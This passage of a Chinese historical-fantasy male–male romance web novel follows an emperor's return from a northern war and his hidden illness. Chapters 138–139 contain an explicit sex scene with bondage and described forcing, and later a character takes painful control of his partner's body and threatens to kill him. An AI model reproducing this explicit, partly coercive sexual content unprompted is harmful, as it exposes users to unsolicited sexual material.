她说着拼命挣扎,祁雁只得把她放了下来,卢小满跑到陆暄跟前,抱住他的腿用力摇晃,仰头道:“陆哥哥!我要找苗霜哥哥告状!” 陆暄正抱着胳膊在一旁看戏,闻言把白眼一翻:“我可不认识什么苗霜,要找找别人,别找我。” “什么!我才不信!”卢小满死缠烂打,“陆哥哥上次明明跟我说,在饭桌上被苗霜哥哥下毒,怎么今天又不认识了呢?” 陆暄:“……” “哦?”提到和苗霜有关的话题,祁雁似乎来了些精神,“在饭桌上被下毒?这是什么时候的事,我怎么不知道?” “……童言无忌,小屁孩说的话能当真吗,”陆暄坚决不肯承认自己遭过别人的“暗算”,把卢小满从自己腿上扒拉下去,对祁雁道,“人我给你送回来了,以后你自己教吧,没什么事的话,我也准备回去了。” 他说着,颇为不满道:“因为你这一道诏令,害我又得在外面多待两个月,再不回去,某个人真要发癫了。” 祁雁“嗯”了声,道:“你可以回去,不过你带来的人得留下。” 听了这话,陆暄登时皱起眉头:“我带来的可都是精兵。” “正因为是精兵才更要留下,雁归军全军覆没,必须要及时补充兵力,重新招兵买马时间太漫长,从范阳河东匀些精兵过来填补空虚正好。” “……当了皇帝,演都不演了是吧?”陆暄没好气道,“什么填补空虚,不过是想趁机削弱我们的势力,这仗才刚打完你就卸磨杀驴,不合适吧?” “若错过这次,再让你们交兵,你们更加不愿,”祁雁神色坦然,“狄历已败,周边各国短时间内不会再轻举妄动,边境暂时安全,兵没了你们可以再练,此时交兵,不影响什么。” 陆暄:“再练了你再收,到时候全天下的精兵都成你的,朔方节度使已死,关内一道你已收回,想必过不了多久就会轮到我们。” “而今各地节度使拥兵自重,我若不收回,一时的平衡太过脆弱,迟早有一天埋下的隐患会全面爆发,若真到了那时,我们所有的努力就都白费了。”祁雁道。 他目光沉沉地注视对方:“陆暄,别让朕难做。” “……”陆暄的面容上流露出一丝惊讶。 他一直觉得祁雁当了皇帝也和以前没什么不同,直到现在,感受到那道黑沉的注视,以及言语之间的压迫感,这才意识到,他们之间的关系终究是变得不一样了。 不再是普通朋友,而是君与臣。 陆暄张了张嘴,想说什么,却终究是没说,只不耐烦地一摆手:“罢了,给你就给你,我一个人回去,还能走快些。” 祁雁微垂眼帘:“如此便好。” 陆暄负气,转身便走,祁雁抿了抿唇,也没留他,只微不可闻地叹了口气,叫来赵戎:“不日我就要回京了,你可要和我一起走?” 赵戎摇了摇头:“金孝仁一天不死,我就一天不走!不杀了他给兄弟们报仇,我死都难瞑目!” 祁雁又低头问卢小满:“你可要跟我回京?” “不要!”卢小满又不知从哪掏出她那把木头小剑,遥遥指向北方,“狄历都是坏人!和害死我娘亲、打伤我爹爹的家伙一样坏!我要杀了他们!只要杀了他们,就可以保护千千万万人!” “哪里来的小屁孩?”赵戎诧异地看了她一眼,笑道,“还杀狄历人,就你这小身板,连马背都上不去吧?” “胡说!我会骑马射箭,射得可好了!” “真的假的,不如你射给我看?” “射就射,谁怕谁!” “行了,”祁雁打断他们的斗嘴,“既然都不走,那从今往后,赵戎,小满就交给你了,由你负责教她习武。” “啊?!”赵戎大惊,“我可不会照顾小孩啊!” 卢小满挺胸抬头:“我才不是小孩,也不需要你照顾!” “嘿你这小屁孩……” “就这么说定了,”祁雁不给他们反悔的机会,又去不远处正在忙碌的人群里找到了卢方,“您……” “见过陛下,”卢方急忙停下手头的工作,“小女顽劣,给陛下添麻烦了。” “谈不上麻烦,小满说要留在军中,我还是要问问她父亲的意见。” “这孩子主意正得很,我管不了她,只能随她去了,陛下若不嫌弃,我也可留在军中做些杂事,虽上不了前线,但后勤还是没问题的。” 祁雁点点头:“军中吃穿用度,粮草开销之类都需要人打理,先生精于记账,正适合此职,有您在,我也不怕有人在账目上造假了。” 卢方听了这话,感动得便要跪下:“能得陛下赏识,我和小女三生有幸啊!” 祁雁扶了他一把:“不必多礼,还望先生莫嫌军营生活辛苦才是。” 卢方连连摇头:“我这年纪也不小了,能谋个一官半职,高兴还来不及,何谈辛苦?” 祁雁笑了笑:“那你们忙吧。” “哎!” 交代完卢方,祁雁一回头,就看见刚刚还说不会照顾小孩的赵戎已经和卢小满聊上了,还有几个正在养伤的伤员也围了过来,用还完好的手脚跟她比划起了剑招,赵戎对他们指指点点,说他们出招的方式不对,寻了根树枝,亲自演示起来。 军营里的气氛似乎因这小孩的到来而活跃了一些,所有人都有了事情做,便也没空再去想别的。 祁雁呼出一口气,心情久违地轻松起来,正想坐下吃口东西,余光忽然看到某个本该离开的家伙又回来了,不禁奇怪道:“你怎么还没走?” 陆暄之前离开营地,却越想越气,觉得自己不能就这么吃了这亏,这会儿又去而复返,相当不客气地坐在了祁雁对面:“怎么,用得着人朝前,用不着人朝后?兵都交了,还不准我吃口饭再走?听说你们今天杀了羊庆功,怎么说我们范阳也出力了,这庆功宴该有我一份吧?” 祁雁无奈摇头,吩咐手下人道:“拿些羊肉来。” 很快一大盘烤好的羊排就摆在了陆暄面前,还有煮好的羊奶,祁雁冲他比了个“请”的手势:“范阳的大功臣,吃吧。” “这还差不多。” 祁雁也拿了块饼,就着羊排吃:“所以你究竟是怎么被苗霜下毒的?” 陆暄:“……” 正吃着,忽然有个士兵跑到祁雁跟前:“将军,我们刚又找回了一些走散的伤员,还有战马,但营地里安置伤员的帐篷不够用了,是让轻伤的腾位置,还是……?” 祁雁立刻放下手里的东西,拍了拍指尖沾到的饼渣,站起身来:“我去看看。” 两人迅速离去,陆暄看着他才咬了两口的食物,沉吟片刻,叫来卢小满道:“小满,你过来。” 卢小满蹦蹦跳跳地来到他跟前,吸了吸鼻子:“好香的羊排!我可以吃吗?” “吃吧,小赵兄弟,你也一起吃。” 赵戎愣了一下:“你是……?” 陆暄冲他抱拳:“范阳陆暄。” “哦!我知道了,就是那位心高气傲,要节度使亲自三顾茅庐……” 话到一半,他才反应过来自己在当面说人家坏话,尴尬一挠头:“总之……久仰大名。” 陆暄却也不恼,指了指身边的位置:“小赵兄弟,坐。” “哎。” 赵戎拿起一块羊排就开始啃,啃得满嘴是油,正吃得津津有味,就听陆暄又道:“小赵兄弟,认得姜茂吧?” 赵戎立刻停止了咀嚼:“当然!对了,我突然想起,之前将军让姜茂去送信,就是送给你吧!他现在人在何处?你还把他扣在范阳呢?” “小赵兄弟这是什么话,我早把他送回京都了,怎么,你们之前没见上面?” “什么?”赵戎惊讶道,“我送战报回京,并没看见他啊?” “据我所知,他和大巫一道,被陛下派去剑南了,或许你们错过了?” 赵戎回忆了一下,他把塞北的消息告诉祁雁以后就晕了,昏迷了好多天才醒过来,想必那时候姜茂早已出发,对方应该看到了他,他却没能醒过来和他说句话。 后来他急于返回塞北,也没顾得上问姜茂的情况,就这么擦肩而过。 赵戎倍感可惜,陆暄看着他懊恼的表情,不紧不慢道:“小赵兄弟若是肯帮我一个小忙,我就跟你分享些关于姜茂的消息,你看如何?” 赵戎不禁眼睛一亮:“什么忙?只要不违反军规,你尽管说!” 陆暄却故意卖了个关子,又转向卢小满:“小满是不是想向苗霜告陛下的状啊?” 卢小满用力点头:“是!” 陆暄笑得不怀好意:“哥哥今天心情好,就帮你这个忙。” 第138章 第 138 章 夫人为什么现在才回来…… 赵戎一头雾水:“告状?告什么状?” 陆暄四下张望一圈, 确定祁雁没有回来,这才压低声音:“小赵兄弟,这段时间, 你可发现陛下有什么异常?” “异常?”赵戎不是很理解,“你指什么方面?” 陆暄一指祁雁放在旁边, 没吃完的饼和羊排:“就比如,经常不吃饭?” “……你一说这个, 确实啊!”赵戎露出恍然大悟的表情,“不光不爱吃饭,还不爱睡觉,话也少了!将军以前明明不是这样的。” “我就说不是错觉!”卢小满道,“祁哥哥明明就是瘦了,比坐轮椅的时候还瘦!” 赵戎挠头:“倒也没那么夸张吧……” 陆暄:“既然如此,那就请小赵兄弟修书一封,将此事告知那位大巫。” “写信当然可以写,但我们怎么绕过将军的视线把信交到大巫手里?要是被将军看到我们偷偷向大巫告状, 他肯定会把信扣下的吧?”赵戎问。 “绕是肯定绕不过的,我们不妨反其道而行之, ”陆暄冲他们招招手,示意他们附耳过来,“我们只需如此如此,这般这般……” * 祁雁又在营地逗留了几日,期间,河西传回战报, 西蕃听闻狄历兵败的消息,也跟着退了兵。 幸运的是这一仗大景成功保住了西域,不幸的是, 那位河西老将在战事中旧伤复发,不治而亡。 祁雁听到这个消息,不禁深呼吸,用力闭了闭眼。 “厚葬。”他道。 信使策马而去,祁雁最后回望了一眼塞北一望无际的草原和万里无云的蓝天,沉声道:“班师回朝。” 他将带来的部分禁军留在了朔方,加上从范阳和河东扣下的人,勉强重铸起塞北防线,此刻,剩下的兵马整装待发,准备启程回京了。 “将军,”赵戎来到他跟前,“那个……能不能请您帮我个小忙?” “什么事?” “帮我把这封信……交给姜茂,”赵戎小心翼翼地将信封递来,“上次在京都没见着,这次我又不回去了,也不知道下一次见面是什么时候……就写了封信给他。” 祁雁接过信封,见他这左顾右盼的窘迫样,不禁轻笑起来:“只有信?不送别的了?” “别的也没什么可送,送吃的路上就得坏了,算了,就这封信吧。” 祁雁将信封收起:“嗯,行。” “您一定要交到他手里啊,”赵戎又叮嘱,“也千万别……偷偷打开什么的。” “怎么,我在你眼里是那种人吗?”祁雁一挑眉梢,“还是说你这信里写了什么见不到人的东西,怕我看见不成?” “……将军!” “好了,”祁雁不再打趣他,翻身上马,“这便走了,你们保重。” “将军保重!” “一路顺风!” 士兵们依依不舍地冲他道别,许多人红了眼眶,声音都哽咽起来,卢方将卢小满扛在肩上,女孩朝他挥手,清脆的声音渐渐远去:“祁哥哥保重!” 黑底金纹的龙旗迎风而动,祁雁骑着高头大马,身后整齐列队的兵马浩浩荡荡。 元兴元年,七月十四,大景天子祁雁得胜还朝,此役大景大获全胜,全歼狄历主力,狄历远遁漠北,动荡的北部边境重归安宁。 塞北大捷的消息传回京都,晏安城的百姓们夹道迎接天子凯旋的队伍,京中一时间万人空巷,满目欢腾。 祁雁骑在马上,看着攒动的人潮,听着这鼎沸的人声。 上次入京,是大逆不道的反贼,这次入京,又成了英明神武的天子。 * 祁雁得胜还朝时,苗霜也准备启程了。 倒不是他想在剑南逗留这么长时间,实在是脱不开身。 南照举全国之力孤注一掷,而今大败投降,边防亏空,难以为继,西蕃国君没能拿下河西,又闻剑南战事失利,自己好心借出去的援兵,南照不好好珍惜还强抢军备,不禁勃然大怒,扬言要和南照决裂,蕃照两国的关系一下子紧张起来。 南照面临着西蕃的怒火,兵又在大景手里扣着,左支右绌,随时有亡国的风险,不得以,南照国君向大景递来降书,希望大景能冰释前嫌,施以援手,南照愿降于大景,从此对大景俯首称臣。 这事剑南节度使自然决定不了,只得上报朝廷,一来一回,一个月过去了,苗霜便也只能留下来,等事情彻底结束了再走。 扣着南照的兵,又不能不给他们吃饭,这么多战俘,光靠剑南一道哪养得起,彭鸿飞看见这些人就烦,干脆把他们发配去做苦役,等什么时候朝廷发了话,什么时候再考虑还给南照。 大景这边不急,南照却已经急成了热锅上的蚂蚁,生怕投降得晚了西蕃打过来,那样他们连大景的臣民都做不得,只有死路一条。 好在西蕃河西一战损失也不小,放话要跟南照决裂,却没真的开战,南照紧赶慢赶终于顺利将自己归入大景版图,自此,南照国灭。 大景归还了一部分兵力放在蕃照边境,边境线发生变动,又借此机会赏赐了苗民,将黔州以南各州县设为羁縻州,从此以后,这些区域便由苗民自治,不再向大景缴纳赋税。 等一切尘埃落定,苗霜终于回到京都时,已是深秋了。 他和姜茂两人两马,慢慢悠悠地晃进了京城,姜茂忍不住想要催他:“大巫,您就一点也不着急吗?” “着什么急?该着急的是祁雁不是我,我能回来已经很给他面子了,”苗霜冷哼一声,“知道我回来都不出来迎接,我看他也不怎么着……” 话音未落,一道黑影忽自身前闪过,姜茂一眨眼,面前就只剩下一匹马。 他和马面面相觑,终于他叹了口气,牵过缰绳,继续往前走。 这还叫不着急吗? 要不是身为皇帝诸事繁忙,他们的陛下早去剑南抓人了吧。 忽然,前方赶来了一队禁军,为首的那个十分眼熟,好像姓魏。 魏然停在姜茂面前,挺胸抬头:“奉陛下之命前来迎接二位入宫……怎么只有一位?” 姜茂神色复杂地看着他:“你来晚了,另一位已经被陛下亲自抓走了。” 魏然:“??” * 苗霜刚一进城门就被人从马背上抓下来,一路抓进了皇宫,光天化日朗朗乾坤,某人就这么抓着他在房顶上疾走,竟然没人阻拦。 也是,谁敢阻拦他们的皇帝陛下,寻常百姓看不清他的身影,最多只发出一声“什么东西飞过去了”,禁军中就算有人能看清,却也不敢拦。 被抓着飞了一路,苗霜只感觉头晕目眩,庆幸自己早上没吃饭,紧接着,他就被人扔在了龙榻上。 柔软的床榻将他吞没,继而又被人整个压住,祁雁将他死死按在龙榻上,深黑眼眸目光灼人。 他嗓音很低,低得几乎有些嘶哑,直勾勾地望着他道:“为什么现在才回来?” 苗霜尝试着挣扎了一下,手腕被用力按在头顶,完全挣脱不得,只好维持这个姿势:“不是你自己把我派出去的吗?” “朕只要你协助剑南,战事结束你就可以回来,为何迟迟不归?朕屡次三番给你传信,你全都置之不理?” “陛下何时给我传信了?”苗霜故意装傻,“我去苗寨给你借人,战事结束了,我总得把他们送回去,族人热情,自然留我吃饭,圣子许久没见了,黏着我不让我走,我也是诸事缠身呢。” “……” “你也知道黔地偏远,收不着你的信,实属正常,我本来都打算过完苗年再回来……” 一句话还没说完,祁雁已经忍无可忍,狠狠地吻了上来。 他本以为苗霜会和他前后脚返回京都,可左等不来,右等也不来,他差点就要亲自南下抓人,被范青书劝了半天才劝住。 寄去的信苗霜也不理会,要不是还有姜茂给他回信汇报行程,他都要怀疑苗霜真打算留在苗寨不回来了。 他甚至想了好几种办法,威逼利诱软磨硬泡把人绑回京都,最终却一条也没实施,生怕惹苗霜生气,对方彻底消失给他看。 若是换作别人,就算跑到天涯海角他也有信心把人抓回来,可苗霜不一样。 就凭那一手出神入化的蛊术,他想逃,谁能奈何得了他? 祁雁越想越生气,忍不住发疯一般在他嘴唇上亲吻啃咬,恨不得将他拆吃入腹,让他彻底跑不掉才好。 苗霜连日赶路,已经相当疲惫了,其实不大想和他亲热,但看某人这么热情,便也半推半就,随他去了。 衣带被解下,下一秒,却绑住了手腕,系在床头。 苗霜的眼神变得有些危险,姓祁的竟敢把他绑在床上,就要放几只蛊虫咬断带子,却感觉祁雁的手掐住他的腿根,强行分开来。 指节探入,注意力一下子被转移,苗霜皱了皱眉,总觉得今天的祁雁体温有些高。 不过这家伙的体温一直都比他高,或许是太久没亲热了,少了一些习惯成自然,他被祁雁吻得快要喘不过气,也无暇顾及更多。 祁雁并没给他太多适应的时间便强行闯入,细微的疼痛让苗霜忍不住发出一声闷哼。 ……好烫。 第139章 第 139 章 别离开我,好吗? 苗霜忍过那一阵不适, 仰头在他唇角啄吻:“我怎么觉得你瘦了?” 祁雁又进寸许:“夫人不在,我终日朝思暮想魂牵梦绕,怎能不瘦?” “哈……” 灼烫感烙在体内, 带来难以言喻的酸涩和胀痛,一别数月, 早已熟识的身体又变得有些许陌生,需要重新习惯, 恍惚间仿佛回到了初遇之时,回到了那个新婚之夜,只不过那时是他强迫祁雁,而现在成了祁雁强迫他。 苗霜被他绑在床上动弹不得,身体起起伏伏,完全分不出心来操纵蛊虫,竟也难得体验了一把祁雁当时的感觉,只能被动承受的滋味实在让人很是难受。 可被找对了位置,又实在舒服……他便在难受与舒服之间摇摆不定, 一时竟形容不上自己究竟是什么心情。 猩红的眼眸渐渐变得有些迷离,他忍不住绞紧了祁雁的腰, 可祁雁竟不肯把衣服完全脱掉,碍事的布料阻隔在他们之间,拦住了对方的体温向他身上渗透。 苗霜实在很想把他扒了,用不了手,就干脆用嘴,他咬住对方襟前的带子, 随着那节奏一点一点抽开,就在即将成功之时,祁雁却发现了他的小动作, 又将快要散开的带子塞了回去,低头吻住他的唇,彻底封死他不安分的唇齿。 这令苗霜暴躁更甚,报复般狠狠一绞,便听祁雁轻抽一口冷气,差点颜面尽失。 他艰难忍住了,低哑的嗓音落在苗霜耳边:“夫人这是在做什么?” 声带的振动带来丝丝麻意,苗霜终于有机会能换口气,没好气道:“在被你做。” 祁雁顿了一下,随即轻笑出声,在他颊边轻轻蹭了蹭:“那怎么还一副不高兴的样子?” 苗霜动了动手腕:“你放开我,我就高兴。” “明明是夫人不肯放开我,”祁雁也动了动,“我若给你解开,你又跑了怎么办?” 苗霜被他反复摩擦,难受得想哼哼,呼吸有些急促:“都被你钉死在这了,还怎么跑?” 祁雁却不肯上他的当,手掌贴住他的腰身,用力揉搓他柔韧的皮肤,掐出几道泛红的指印。 他掌心的温度烫得吓人,苗霜只感觉半边身体都麻了,直觉告诉他今天的祁雁绝对不对劲,可彼此都兴致正盛,谁也不愿在此时终止。 滚烫的东西将他的身体搅得天翻地覆,快要把他捅穿了,体内体外全都是祁雁身上的热度,苗霜被他戳得意乱情迷,只得狠狠咬住他的颈窝,反复啃咬那一小片从衣服中露出的皮肤,在上面留下层层叠叠的渗血的牙印。 祁雁并不阻止他,疼痛的感觉带来鲜活和真实,无数个日夜的思念在这一刻凝成实质,终于找到宣泄的出口,在疯狂的研磨之后喷薄而出。 苗霜被热流灌了满腹,只觉大脑一片空白,忍不住蜷起脚趾,体内过了许久兀自抽颤不休。 祁雁又待了一会儿,直到尾韵散去才撤离,他小心解开苗霜手腕上绑着的衣带,将他擦干净了,用被子裹住,自己则换掉身上弄脏的衣服,转身离去。 苗霜眯着眼睛,餍足过后,懒散得不想动弹,过了好半天才克服身体的本能,打了个哈欠,艰难从床上爬了起来。 他叫来明秋,让明秋帮他拿了身干净衣服,又吩咐他收拾床榻,自己则离开房间去找祁雁。 腿还有点发软,甚至残留在体内的东西也没清理,但他现在不想管这些。 祁雁已经回到了前殿,苗霜走了半天才找到人,有时候难免痛恨这皇宫太大,姓祁的有轻功傍身倒是跑得快。 姜茂也已经抵达了皇宫,向祁雁复命,祁雁顺手把桌上的信封交给他。 姜茂接过那信封,看到上面的狗爬字,一眼就认出是谁写的,不禁有些诧异:“赵戎竟会写信了?” “说许久未见,有些想你,便托我给你稍封信——看完记得回。”祁雁道。 姜茂满怀期待地把信封拆开,里面的内容却让人哭笑不得,赵戎提刀的手拿起笔来估计怎么都别扭,字迹歪歪扭扭,错字连篇,句子也是啰里吧嗦狗屁不通,还不如找代笔来写。 中心思想无非是“想你了,什么时候能见面”,这么简单的内容居然洋洋洒洒写了一大篇。 一张纸竟还没写完,后面还有一张,姜茂看得眼睛疼,但还是耐着性子看完,不料才翻到第二张,他的表情就变得古怪起来。 后面这半封信……好像不是写给他的啊。 他偷偷抬眼看了看祁雁,皇帝陛下正在浏览一封同样狗屁不通的奏折,看起来对信里的内容全无所觉。 听说他们七月份就回京了,这信一定也是那时候捎回来的,在祁雁手里放了两个月,他竟没把信拆开看看。 赵戎真是胆大包天,居然敢在将军眼皮子底下干这种事,怎么看也不像是他能想出来的主意。 姜茂拿着这张薄薄的信纸,莫名感觉信纸烫手,正犹豫着究竟要不要背刺将军,余光就扫见一道身影进了殿内。 能不通报就进来的,必定是大巫无疑,果不其然,苗霜直奔他们所在的方向而来:“祁雁,你……” 不等他把话说完,姜茂火速上前,将烫手山芋脱手:“大巫,这是赵戎给您的信。” 苗霜愣了一下:“给我?” 正在和奏折斗争的祁雁也抬起头来,诧异道:“你说给谁?” 回想起赵戎特意叮嘱让他别偷看,他忽然有了不好的预感,一个闪身到了苗霜跟前:“拿来我看。” 苗霜眼疾手快把信纸抽走,祁雁只觉手腕传来细微的刺痛,那是体内的蛊虫被苗霜强行操控的征兆。 虽然已经很久没体验过这滋味了,但他还是下意识地停住动作,便是这一瞬间的犹豫,苗霜已经开始阅读那半封信。 只看了一眼就皱起眉头。 这笔烂字,写得很好,下次别写了。 他努力辨认着赵戎的字迹,只见信上写道:“大巫,你快管管将军啊!这两个月来他整天茶饭不思,夜不能寐!” “整”字糊成一团,“寐”字还写错了。 “一天就吃两块饼子,人能受得了吗!我起的时候他已经起了,我睡下了他还没睡,我都怀疑他到底合没合眼。” “将军最近很不对劲,真的很不对劲,但我们也不知道他是怎么了,大巫你医术好,你给他看看!” 苗霜看完了信,缓缓抬起头来。 祁雁站在对面,警惕地看着他:“赵戎跟你说了什么?” 苗霜却不答,而是一指旁边的坐榻:“你给我坐那。” 祁雁看着他的表情,感觉不妙:“到底怎么……” 话还没说完,手腕又开始疼,这回连腿都在疼了,他急忙妥协:“我坐便是。” 苗霜坐到他对面,命令道:“手给我,两只。” 祁雁乖乖伸手,放在床桌上,苗霜将指尖搭上他的手腕,仔细给他诊脉。 这脉象乍一看倒没什么异常,只是比平常略快,但他能感觉到祁雁手腕上的皮肤也在发烫,这绝对不是他的错觉,定是某人的体温本就高得不正常。 他看了对方一眼,道:“把内力撤了。” 祁雁:“……” 他没撤内力,苗霜也没收回手,两人一时间陷入僵持。 在一旁观望的姜茂感觉气氛不对,唯恐自己再待下去会被战火波及,他果断后退两步,转身就跑。 苗霜指尖微微用力,对方腕间的筋络开始不受控制地跳动起来,他冷冷道:“是太久没尝过被蛊虫控制的滋味了,心里痒痒?” “……”手腕上的刺痛已经到了极限,开始有脱离掌控的感觉,祁雁叹了口气,慢慢撤去了护体的内力。 终于摸到真实的脉象,苗霜忍不住眉头跳了跳,怒极反笑:“用内力改变脉象骗过我,能耐了你?” 祁雁沉默,别开眼不看他。 苗霜却猛地冲到他跟前,一把揪住他的衣领:“你是觉得这段时间我不在你身边,什么都不知道是吧?我不问,你就不打算说?之前是谁向我承诺不会再隐瞒我任何事?是不是你,我的陛下?” 祁雁瞳孔微微收缩,被他逼得身体向后仰,直撞上坐榻的后靠,木头硌着他的脊背,不知碰到哪处旧伤,浑身都开始隐隐作痛起来。 苗霜一把扯开了他的衣服,只见那具劲瘦躯体上随处可见暗色的伤疤,大抵是在外征战时受的伤,他并不意外某人会把自己搞成这样子,也没期望他能毫发无伤地回来,但唯独没猜到两个月过去这些疤痕竟还没从他身上消失。 祁雁身体里的蛊虫会主动帮他修复这些伤痕,但蛊虫干活也要消耗气血,现在蛊虫罢工了,只能说明某人的身体状况已经差到了支撑不起蛊虫消耗的地步。 赵戎在信里说祁雁常常不吃饭不睡觉,现在看来果然如此,穿着衣服尚且不显,一旦把衣服脱了,就能立刻发现他消瘦了许多,比当初刚从大狱里放出来时也不强多少了。 还好意思骗他是因为太想他才瘦的,亏他说得出口。 苗霜气不打一处来,不过是几个月没盯着他,就又能把自己作践成这样,他这辈子最讨厌不听话的病人。 “这就是你跟我做都不肯脱衣服的原因?”他死死瞪着他,“是觉得不被我看见就万事大吉?那你又抓我回来做什么?只要我不回来,你就能一直瞒下去,没人知道你这个皇帝哪天活活把自己饿死。” 祁雁抿了抿唇,似乎不知该如何辩解,最终只小心翼翼地伸出手,轻轻环住他的腰:“苗霜,我想你了。” 苗霜扣住他的手腕,就要将他的手掰开,却听他又道:“我已经没什么好失去的了,只有你,我不想连你也丢下我。” “别离开我,好吗?” 第140章 第 140 章 别走,求你。 苗霜落在他手腕上的指尖一顿。 那皮肤上的温度愈发烫了, 撤了内力以后,他似乎更加无法阻止伤病的蔓延。 苗霜终究是没忍心掰开他的手,内心的愤怒犹如渐退的潮水, 最终剩下的唯余叹息。 “从什么时候开始不舒服的?”他问。 “不知道,”祁雁抱着他不肯撒手, 把脸贴在他身上,有些疲倦地合上眼, “可能很久了。” 回京这两个月来,他一直在靠内力压制身体的不适,现在被迫收了内力,浑身的疲惫和酸痛开始疯狂上涌,变本加厉地想要将他吞噬。 苗霜捧住他的脸,看着他略显憔悴的面容和眼底的乌青,又问:“多久没睡过好觉了?” “有几个月了。”祁雁轻蹭他的手掌,对方指尖的凉意冰得他很舒服,能给他发热的头脑降温。 “多久没好好吃饭了?” “你不在身边以后。” “……”苗霜倍感无语, 刚登基那几天他就感觉祁雁状态不对,捅了自己一剑, 他还以为他过去那个劲儿了,给他把脉也没再看出太多异常,便以为他只是暂时心情郁闷,过一阵子就会好。 谁料非但没好,还越来越严重了,雁归军的事终于彻底将他击垮, 他用生死蛊强行让他振作也无济于事,可当时时间紧迫,他的确想不出更好的办法。 他一直以来都对祁雁抱有太高的标准, 总觉得他不会真的倒下,却忘了他也是人,是人就会有极限,会有支撑不下去的那天。 就算是泊雁仙尊,也会有精神崩溃的时候,一向孤绝冷淡之人也会露出绝望的表情,会嘴唇颤抖地求他不要死。 又何况是现在的这个。 只是他没想到,对方竟敢隐瞒病情欺骗于他,他扣住对方的下颌,迫使他抬头看自己:“为什么这么做?” “不想让夫人担心。” “……” 现在倒是坦诚了,但这迟来的坦诚并不能让苗霜就此放过他,冷冷道:“你瞒得了一时,瞒得了一世?事情败露的那天,我就不担心了?” “事情败露,你会生气。” “……所以呢?” “生气了就会折腾我。” “然后?” “就没多余的心思用来担心了。” 苗霜:“……” 真想拧开他的脑子看看里面装的是不是水。 他深吸一口气,伸手摸向对方额头,果不其然,烫得要命。 不光装了水,还烧开了。 不然怎么能说出这种胡话。 他没好气道:“还能站起来吗?回寝殿。” “不回,”祁雁竟拒绝了,“朕还有奏折没批完。” 苗霜才压下去的怒火又噌地一下蹿了起来,眉头一皱:“你都病成这样了还批什么奏折?” “朕没病,”祁雁坚持,“用内力本来能压制住,是你非要我撤了,我再重新压制下去,你别管我。” 苗霜:“…………” 祁雁松开抱着他腰的胳膊,居然还真尝试去用内力压制,却不知为何浑身没劲,这内力一散,就再集中不起来了。 “压制啊,”苗霜在一边看戏,皮笑肉不笑道,“不是没病吗,不是用内力就能治好吗?快原地痊愈一个给我看看,我的好陛下?” 祁雁尝试了半天也没成功,身体绵软无力,头脑也昏昏沉沉的,他有些狐疑地看向苗霜:“你对我动了什么手脚?” “我可什么都没做,”苗霜把手一摊,以证清白,“你这么厉害,还需要我做什么?我这个医师全无用武之地啊,你自己就能搞定一切。” 祁雁百思不得其解:“可我压制不了了。” “废话,”苗霜终于神色一凛,“自己病成什么德性了自己不清楚?自欺欺人别真把自己骗了——还愣着干什么,还不赶紧滚回寝殿?!” 陡然拔高的音量让门外候着的太监们齐齐一哆嗦。 居然让陛下“滚”……也就只有大巫敢说这种话了吧。 祁雁愣了一下,好像终于意识到内力并不能治病似的,撑住坐榻扶手,摇摇晃晃地站起身来。 这一起身更是晕得厉害,路都走不稳了,苗霜忙伸手扶了他一把,又喊来明秋帮忙,两人半拖半架地总算把人弄回了寝殿。 祁雁被按在龙榻上,意识已经有些模糊,苗霜扶他躺好,吩咐明秋道:“你看着他点。” 明秋点头:“是。” 苗霜转身便要离开,却又被祁雁抓住了手腕,对方滚烫的掌心烙着他的皮肤,却没有几分力度,只勉强做出挽留,虚弱道:“别走……” “我去给你配药,听话,安静躺一会儿。” 苗霜尝试掰开他的手,却引起对方更大的抗拒,祁雁拼命抓住了他,一只手力气不够,就两只手,苦苦哀求:“别走,求你。” 苗霜:“……” 明秋适时地开口道:“大巫,要不您将药方写下来,奴婢去抓药吧。” “也罢,”拗不过缠人的病人,苗霜叹了口气,“去拿纸笔。” 明秋迅速为他摆好笔墨,苗霜一只手还被祁雁抓着,对方怎么都不肯松手,他只得坐在床边,就着这个难受的姿势单手写完了药方:“速去,煎好了送来。” “是。” 明秋快步离去,苗霜轻轻握住祁雁的手,感受着他愈发虚浮的脉搏,又唤来一个小太监,让他去帮忙打了盆冷水进来。 苗霜将毛巾用冷水浸湿,拧得半干后放在祁雁额头,浑身高热的祁雁被冰得一个激灵,就要挣扎。 “别动,”苗霜按住他的手,“再不降温,想烧成傻子?” 虽然本来也是个傻子了。 祁雁这才安静下来,一动不动地躺了一会儿,目不转睛地盯着他看。 “怎么还不睡觉?”苗霜问。 “睡不着。”祁雁嗓音低哑,虽然脑子很沉,身体很累,精神明明已经到了极限,可就是无论如何也睡不着。 “等下喝了药就能睡着了。”苗霜道。 “嗯……”祁雁思索了一会儿,高烧让他思维迟缓,“朕不喝药。” 苗霜:“?” “朕还有奏折没批完。”祁雁说着,竟掀开被子想要起身,好像完全忘记刚刚这个话题已经进行过一遍了。 苗霜一把按住他,又按住差点从他额头滑落的毛巾,耐着性子道:“批不完明天再批。” “明天有明天的事,明早还要会见朝臣……” 苗霜眉头跳了跳:“帮你告假。” “不能告假,最近朝中事务繁多,朕没空休息。” 他说着又要起身,苗霜深吸一口气,终于忍无可忍——软的不行那就来硬的,他果断接管了祁雁身体里的蛊虫。 “……唔!”祁雁只感觉浑身一阵剧痛,手脚瞬间不听使唤了,整个人跌回原位,他拼命想要挣扎,却动弹不了一丝一毫。 苗霜取下已经温热的毛巾,重新浸凉以后狠狠按回他额头,阴沉沉道:“不想休息一天,那就休息一辈子,我现在就取了你的性命,省得你病死还要多花时间,多浪费药材抢救你,你就当这个即位五个月就病死的皇帝,也算是载入史册了,你看如何?” 祁雁感觉到他的攻击性,慢慢地抿住唇,不敢再吭声了。 苗霜冷笑道:“怎样,还折腾吗?” 祁雁摇了摇头。 苗霜伸出手,轻轻摸了摸他的脸颊:“听话就对了。” 白蛇从他袖子里爬出来,在祁雁身上游走,冰凉的蛇鳞擦过他滚烫的颈侧,带来一阵阵让人头皮发麻的凉意。 祁雁就这么在床上躺着,动不了又睡不着,别提有多难受,向苗霜投去求助的眼神,想请他高抬贵手,对方却视若无睹。 不知第几次更换毛巾,明秋终于端着煎好的药回来了,苗霜接过药碗,舀了一勺,轻轻吹凉后送到祁雁唇边:“喝。” 祁雁乖乖张开嘴,喝下了药。 苗霜拿出自己两辈子的耐心,亲自喂他把一碗药喝完了,明秋收走空碗,退出房间。 药力很快上涌,没过多久,祁雁就感觉到汹涌的困意,意识在名为疲倦的海洋中漂浮,挣扎着不愿下沉。 昏睡过去之前,他最后道:“你不准走。” “我不走,”苗霜轻声道,“我保证你醒来以后第一眼看到的是我。” 笑话,药都喝了,什么时候醒来还不是他说了算。 祁雁似乎有被安抚道,合上已经灌铅的眼皮,沉沉睡去。 